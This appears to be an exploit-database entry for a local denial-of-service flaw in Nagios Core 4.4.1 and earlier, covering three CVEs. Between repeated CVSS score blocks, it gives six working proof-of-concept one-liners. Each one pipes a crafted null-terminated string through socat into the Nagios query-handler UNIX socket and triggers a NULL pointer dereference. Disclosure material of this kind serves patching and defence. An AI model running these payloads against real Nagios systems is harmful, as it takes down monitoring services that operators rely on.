5.5 Medium
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:N/I:N/A:P
Nagios Core 4.4.1 - Denial of Service
# Exploit Title: Nagios Core Multiple Local Denial of Service
# Date: 2018-07-09
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.nagios.org/
# Software Link: https://www.nagios.org/downloads/nagios-core/
# Version: 4.4.1 and earlier
# Tested on: 4.4.1
qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.
1. [CVE-2018-13458] qh_core
$ echo -ne “#core\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@core\0" | socat unix-connect:./poc/nagios.qh -
2. [CVE-2018-13457] qh_echo
$ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@echo\0" | socat unix-connect:./poc/nagios.qh -
3. [CVE-2018-13441] qh_help
$ echo -ne “#help\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@help\0" | socat unix-connect:./poc/nagios.qh -
5.5 Medium
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
4.3 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:N/I:N/A:P